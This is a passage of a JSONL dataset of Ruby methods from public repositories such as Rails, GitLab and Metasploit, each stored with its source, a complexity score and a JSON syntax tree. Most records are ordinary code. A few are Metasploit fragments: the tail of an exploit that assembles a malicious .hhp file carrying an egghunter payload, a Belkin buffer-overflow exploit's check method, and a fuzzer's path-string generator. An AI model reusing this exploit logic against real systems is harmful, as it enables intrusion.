file=\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"idxf\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"str\",\"children\":[\"[FILES]\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"eh_egg\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hhp\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]},{\"type\":\"str\",\"children\":[\"' file ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"file_create\",{\"type\":\"lvar\",\"children\":[\"hhp\"]}]}]}]}","id":"228257da-ac91-428e-8da5-2e083e3cc104"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/concerns/account_cache_revalidator.rb","start_line":8,"raw_source":"def update_account_cache\n    account.update_cache_key(self.class.name.underscore)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_account_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"update_cache_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},\"underscore\"]}]}]}","id":"babcefca-f5d9-43e3-9186-43f3354a2288"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":1001,"raw_source":"def test_path_names\n    draw do\n      scope \"pt\", as: \"pt\" do\n        resources :projects, path_names: { edit: \"editar\", new: \"novo\" }, path: \"projetos\"\n        resource  :admin, path_names: { new: \"novo\", activate: \"ativar\" }, path: \"administrador\" do\n          put :activate, on: :member\n        end\n      end\n    end\n\n    get \"/pt/projetos\"\n    assert_equal \"projects#index\", @response.body\n    assert_equal \"/pt/projetos\", pt_projects_path\n\n    get \"/pt/projetos/1/editar\"\n    assert_equal \"projects#edit\", @response.body\n    assert_equal \"/pt/projetos/1/editar\", edit_pt_project_path(1)\n\n    get \"/pt/administrador\"\n    assert_equal \"admins#show\", @response.body\n    assert_equal \"/pt/administrador\", pt_admin_path\n\n    get \"/pt/administrador/novo\"\n    assert_equal \"admins#new\", @response.body\n    assert_equal \"/pt/administrador/novo\", new_pt_admin_path\n\n    put \"/pt/administrador/ativar\"\n    assert_equal \"admins#activate\", @response.body\n    assert_equal \"/pt/administrador/ativar\", activate_pt_admin_path\n  end","complexity_score":36.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_path_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\",{\"type\":\"str\",\"children\":[\"pt\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"pt\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path_names\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"edit\"]},{\"type\":\"str\",\"children\":[\"editar\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"str\",\"children\":[\"novo\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"projetos\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\",{\"type\":\"sym\",\"children\":[\"admin\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path_names\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"str\",\"children\":[\"novo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"activate\"]},{\"type\":\"str\",\"children\":[\"ativar\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"administrador\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"put\",{\"type\":\"sym\",\"children\":[\"activate\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on\"]},{\"type\":\"sym\",\"children\":[\"member\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/pt/projetos\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"projects#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/pt/projetos\"]},{\"type\":\"send\",\"children\":[null,\"pt_projects_path\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/pt/projetos/1/editar\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"projects#edit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/pt/projetos/1/editar\"]},{\"type\":\"send\",\"children\":[null,\"edit_pt_project_path\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/pt/administrador\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"admins#show\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/pt/administrador\"]},{\"type\":\"send\",\"children\":[null,\"pt_admin_path\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/pt/administrador/novo\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"admins#new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/pt/administrador/novo\"]},{\"type\":\"send\",\"children\":[null,\"new_pt_admin_path\"]}]},{\"type\":\"send\",\"children\":[null,\"put\",{\"type\":\"str\",\"children\":[\"/pt/administrador/ativar\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"admins#activate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/pt/administrador/ativar\"]},{\"type\":\"send\",\"children\":[null,\"activate_pt_admin_path\"]}]}]}]}","id":"b3cf11be-e5d0-4e59-a2f3-218d6ccbbe42"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/rspec/duplicate_spec_location.rb","start_line":64,"raw_source":"def rails_root\n          File.expand_path('../../..', __dir__)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rails_root\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../../..\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]}","id":"18dcd64a-1999-44bf-825d-79c09a7a8087"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/inheritance.rb","start_line":226,"raw_source":"def dup # :nodoc:\n        # `initialize_dup` / `initialize_copy` don't work when defined\n        # in the `singleton_class`.\n        other = super\n        other.set_base_class\n        other\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"dup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"other\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"set_base_class\"]},{\"type\":\"lvar\",\"children\":[\"other\"]}]}]}","id":"93b3b5eb-def8-443c-bcf7-71bdfcf44226"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/request/session_test.rb","start_line":201,"raw_source":"def call(env)\n          request = Rack::Request.new(env)\n          request.session[\"hello\"] = \"Hello from MySessionApp!\"\n          [ 200, {}, [\"Hello from MySessionApp!\"] ]\n        end","complexity_score":4.25,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"session\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"hello\"]},{\"type\":\"str\",\"children\":[\"Hello from MySessionApp!\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Hello from MySessionApp!\"]}]}]}]}]}","id":"e51953cb-dead-43ca-80c3-64a4c0b4b971"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/intermediate_db/tag_group.rb","start_line":32,"raw_source":"def self.create(original_id:, created_at: nil, name:, one_per_topic: nil, parent_tag_id: nil)\n      ::Migrations::Database::IntermediateDB.insert(\n        SQL,\n        original_id,\n        ::Migrations::Database.format_datetime(created_at),\n        name,\n        ::Migrations::Database.format_boolean(one_per_topic),\n        parent_tag_id,\n      )\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"original_id\"]},{\"type\":\"kwoptarg\",\"children\":[\"created_at\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"one_per_topic\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"parent_tag_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"Database\"]},\"IntermediateDB\"]},\"insert\",{\"type\":\"const\",\"children\":[null,\"SQL\"]},{\"type\":\"lvar\",\"children\":[\"original_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"Database\"]},\"format_datetime\",{\"type\":\"lvar\",\"children\":[\"created_at\"]}]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"Database\"]},\"format_boolean\",{\"type\":\"lvar\",\"children\":[\"one_per_topic\"]}]},{\"type\":\"lvar\",\"children\":[\"parent_tag_id\"]}]}]}","id":"4ab78ba8-5816-493c-885c-6a571664f50f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/nokogiri_doc_mixin.rb","start_line":24,"raw_source":"def self.nokogiri_loaded\n      !!@nokogiri_loaded\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"nokogiri_loaded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nokogiri_loaded\"]},\"!\"]},\"!\"]}]}","id":"5de65eec-1602-49f3-b2cf-6338cfb1e34d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":1413,"raw_source":"def test_pick_loaded_relation\n    companies = Company.order(:id).limit(3).load\n\n    assert_no_queries do\n      assert_equal \"37signals\", companies.pick(:name)\n    end\n  end","complexity_score":9.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_pick_loaded_relation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"companies\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"limit\",{\"type\":\"int\",\"children\":[3]}]},\"load\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"37signals\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"companies\"]},\"pick\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}","id":"54903a1b-c398-431d-9fbf-1c7204a5534f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/issue_serializer.rb","start_line":7,"raw_source":"def represent(issue, opts = {})\n    entity = choose_entity(opts)\n\n    super(issue, opts, entity)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"represent\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"entity\",{\"type\":\"send\",\"children\":[null,\"choose_entity\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"lvar\",\"children\":[\"entity\"]}]}]}]}","id":"575736ac-b0aa-4368-ad30-640d0a4b533c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/belkin_login_bof.rb","start_line":62,"raw_source":"def check\n    begin\n      res = send_request_cgi({\n        'method' => 'GET',\n        'uri' => '/'\n      })\n\n      if res &&\n         [200, 301, 302].include?(res.code) &&\n         res.headers['Server'] &&\n         res.headers['Server'] =~ /minhttpd/ &&\n         res.body =~ /u_errpaswd/\n\n        return Exploit::CheckCode::Detected\n      end\n    rescue ::Rex::ConnectionError\n      return Exploit::CheckCode::Unknown\n    end\n\n    Exploit::CheckCode::Unknown\n  end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[301]},{\"type\":\"int\",\"children\":[302]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"minhttpd\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"u_errpaswd\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]},null]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}","id":"abd107b6-4d4a-43fc-85dd-efa57c5d13f5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/fuzzer.rb","start_line":396,"raw_source":"def fuzzer_string_paths_dos\n    res = []\n    fuzzer_string_path_prefixes do |pre|\n      fuzzer_string_filepath_dos do |str|\n        buf = pre + str\n        block_given? ? yield(buf) : (res << buf)\n      end\n    end\n    res\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fuzzer_string_paths_dos\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fuzzer_string_path_prefixes\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pre\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fuzzer_string_filepath_dos\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pre\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"873beab3-3ef2-45b5-8b5f-47fa8648965e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/pingback.rb","start_line":30,"raw_source":"def initialize(rstream, opts = {})\n    super\n    self.platform ||= \"\"\n    self.arch     ||= \"\"\n    datastore = opts[:datastore]\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rstream\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"platform\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"arch\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"datastore\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"datastore\"]}]}]}]}]}","id":"25704a29-e745-4819-a178-16bfc7c01626"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/telligent.rb","start_line":120,"raw_source":"def index_filestore\n    puts \"\", \"Indexing filestore...\"\n    index_directory(@filestore_root_directory)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index_filestore\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Indexing filestore...\"]}]},{\"type\":\"send\",\"children\":[null,\"index_directory\",{\"type\":\"ivar\",\"children\":[\"@filestore_root_directory\"]}]}]}]}","id":"2ef21830-dc40-46a7-881b-5c8ef4dd01a2"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/configuration.rb","start_line":399,"raw_source":"def self.random_token\n      require 'securerandom' unless defined?(SecureRandom)\n\n      SecureRandom.hex(16)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"random_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]}]},null,{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"securerandom\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[16]}]}]}]}","id":"baa5c889-5feb-48b1-a0b2-4e33c34d36f5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/rubocop/code_reuse_helpers_spec.rb","start_line":8,"raw_source":"def build_and_parse_source(source, path = 'foo.rb')\n    buffer = Parser::Source::Buffer.new(path)\n    buffer.source = source\n\n    builder = RuboCop::AST::Builder.new\n    parser = Parser::CurrentRuby.new(builder)\n\n    parser.parse(buffer)\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_and_parse_source\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"str\",\"children\":[\"foo.rb\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parser\"]},\"Source\"]},\"Buffer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"source=\",{\"type\":\"lvar\",\"children\":[\"source\"]}]},{\"type\":\"lvasgn\",\"children\":[\"builder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"AST\"]},\"Builder\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parser\"]},\"CurrentRuby\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"builder\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"buffer\"]}]}]}]}","id":"72e35d65-ae09-453d-bef8-fe2e11a281f6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/file_stat.rb","start_line":44,"raw_source":"def nlink\n    self.stathash['st_nlink']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"nlink\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"stathash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"st_nlink\"]}]}]}","id":"ad888db4-5e93-4214-8fe7-3a20592b1be9"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/json/encoding.rb","start_line":183,"raw_source":"def encode(value)\n            value = value.as_json(@options) unless @options.empty?\n\n            json = CODER.dump(value)\n\n            return json unless @escape\n\n            json.force_encoding(::Encoding::BINARY)\n            if @options.fetch(:escape_html_entities, Encoding.escape_html_entities_in_json)\n              if Encoding.escape_js_separators_in_json\n                json.gsub!(FULL_ESCAPE_REGEX, ESCAPED_CHARS)\n              else\n                json.gsub!(HTML_ENTITIES_REGEX, ESCAPED_CHARS)\n              end\n            elsif Encoding.escape_js_separators_in_json\n              json.gsub!(JS_SEPARATORS_REGEX, ESCAPED_CHARS)\n            end\n            json.force_encoding(::Encoding::UTF_8)\n          end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"encode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"empty?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"as_json\",{\"type\":\"ivar\",\"children\":[\"@options\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CODER\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@escape\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"force_encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Encoding\"]},\"BINARY\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"escape_html_entities\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"escape_html_entities_in_json\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"escape_js_separators_in_json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"gsub!\",{\"type\":\"const\",\"children\":[null,\"FULL_ESCAPE_REGEX\"]},{\"type\":\"const\",\"children\":[null,\"ESCAPED_CHARS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"gsub!\",{\"type\":\"const\",\"children\":[null,